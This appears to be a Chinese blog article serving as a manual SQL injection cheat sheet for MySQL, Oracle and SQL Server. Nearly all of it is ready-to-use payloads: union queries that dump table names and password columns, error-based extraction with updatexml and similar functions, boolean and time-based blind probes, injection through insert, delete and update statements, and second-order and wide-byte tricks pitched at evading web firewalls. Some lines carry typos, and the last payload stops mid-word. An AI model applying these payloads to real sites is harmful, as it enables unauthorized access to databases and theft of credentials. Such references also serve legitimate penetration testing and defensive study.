SQL 手工注入总结,必须收藏 !

浪尖聊大数据

共 10155字,需浏览 21分钟

 ·

2021-04-07 19:56

虽说目前互联网上已经有很多关于sql注入的神器了,但是在这个WAF横行的时代,手工注入往往在一些真实环境中会引起尤为重要。此处主要把以前学过的知识做个总结,不会有详细的知识解读,替代查询手册的形式,更多以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!



0x01 Mysql手工注入


1.1联合注入

?id=1' order by 4--+?id=0' union select 1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+


1.2报错注入

1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:

exp()报错的原理:exp是一个数学函数,取e的x次方,当我们输入的值大于709将报错,然后〜取反它的值总会大于709,所以报错。

updatexml()报错的原理:由于updatexml的第二个参数需要Xpath格式的字符串,以〜开头的内容不是xml格式的语法,concat()函数为串联连接函数而不符合规则,但嵌套内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,导致数据中的md5只能爆出31位,这里可以用分割函数分割出来:

substr(string string,num start,num length);#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +


1.3盲注

1.3.1时间盲注

时间盲注也叫延迟注入一般用到函数sleep()BENCHMARK()还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函substr、substring、left

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有ascii()hex()等等


?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1


1.4插入,删除,更新

插入,删除,更新主要是用到盲注和报错注入,这种注入点不建议使用sqlmap等工具,会产生大量垃圾数据,一般这种注入会出现在编码,ip头,留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入,引号,双引号,转义符\让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入


1.4.1报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+------+-----------------------------------------------+----------+| id | username | password |+------+-----------------------------------------------+----------+| 1 | admin | admin || 1 | and 1=1 | admin || 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |+------+-----------------------------------------------+----------+3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为falsemysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'


1.4.2盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用andmysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 falsemysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容mysql> select * from admin;+------+----------+----------+| id | username | password |+------+----------+----------+| 2 | 1 | admin || 2 | 1 | admin || 2 | 1 | admin || 2 | admin | admin |+------+----------+----------+4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;Query OK, 4 rows affected (20.00 sec)Rows matched: 4 Changed: 4 Warnings: 0


1.5二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。


mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+----+-----------+-------+| id | name | pass |+----+-----------+-------+| 1 | admin | admin || 2 | admin'111 | 11111 || 3 | admin'--+ | 11 |+----+-----------+-------+4 rows in set (0.00 sec)


二次注入在没有二进制的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将admin'-+误认为admin帐户


宽字节注入:针对目标已达到一定的防护,单引号转换为 \' ,mysql转换 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“运”,使用这种方法成功绕过过转义,就是所谓的宽字节注入


id=-1%df' union select...
#没使用宽字节%27 -> %5C%27
#使用宽字节%df%27 -> %df%5c%27 -> 運'



0x02 Oracle手工注入

2.1联合注入

?id=-1' union select user,null from dual--?id=-1' union select version,null from v$instance--?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--


2.2报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--


2.3盲注

2.3.1布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用if else结束,如果这种复杂的,还可以使用encode()函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,更改值);

该函数的含义如下:

IF 条件=值1 THEN    RETURN(返回值1)ELSIF 条件=值2 THEN    RETURN(返回值2)    ......ELSIF 条件=值n THEN    RETURN(返回值n)ELSE    RETURN(缺省值)END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64--  #二分法


2.3.2时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--



0x03 SQL Server手工注入


3.1联合注入

?id=-1' union select null,null--?id=-1' union select @@servername, @@version--?id=-1' union select db_name(),suser_sname()--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--


3.2报错注入

?id=1' and 1=(select 1/@@servername)--?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--


3.3盲注

3.3.1布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--


3.3.2时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai




一如既往的学习,一如既往的整理,一如即往的分享。感谢支持

“如侵权请私聊公众号删文”

浏览 5
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报